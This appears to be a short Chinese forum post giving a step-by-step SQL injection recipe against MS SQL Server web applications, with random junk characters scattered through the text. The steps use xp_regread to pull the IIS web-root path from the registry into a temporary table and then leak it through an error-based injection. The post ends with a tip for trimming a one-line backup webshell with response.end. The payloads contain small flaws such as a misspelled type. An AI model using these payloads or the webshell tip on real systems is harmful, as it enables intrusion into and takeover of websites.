1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表) J S* z& p# v! G' L9 _! C
8 F4 k: Z# {, R M& {! H
% b; z$ D2 i" K- s4 B3 O 2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
) U" @- h4 n4 h1 m- P) M+ l5 N9 M. E8 t; d
; Y+ { L, d6 U0 @) Z8 b 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段# m% o$ x. e* a# X
4 J) {* S; S' \2 w
% X Q4 x9 B# a6 F+ C! J
4、drop table [jm_tmp]-- 删除此表。
/ i1 y3 e+ w) \7 f
+ G/ J k4 S- n- j4 m9 ~/ s F" [, ^. u1 c1 p% G" l9 n6 m, d; u. u# w. P
另附上备分专用一句话& V4 d4 s! y4 V+ M
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.) h! I9 h4 ? _8 a4 n9 j
|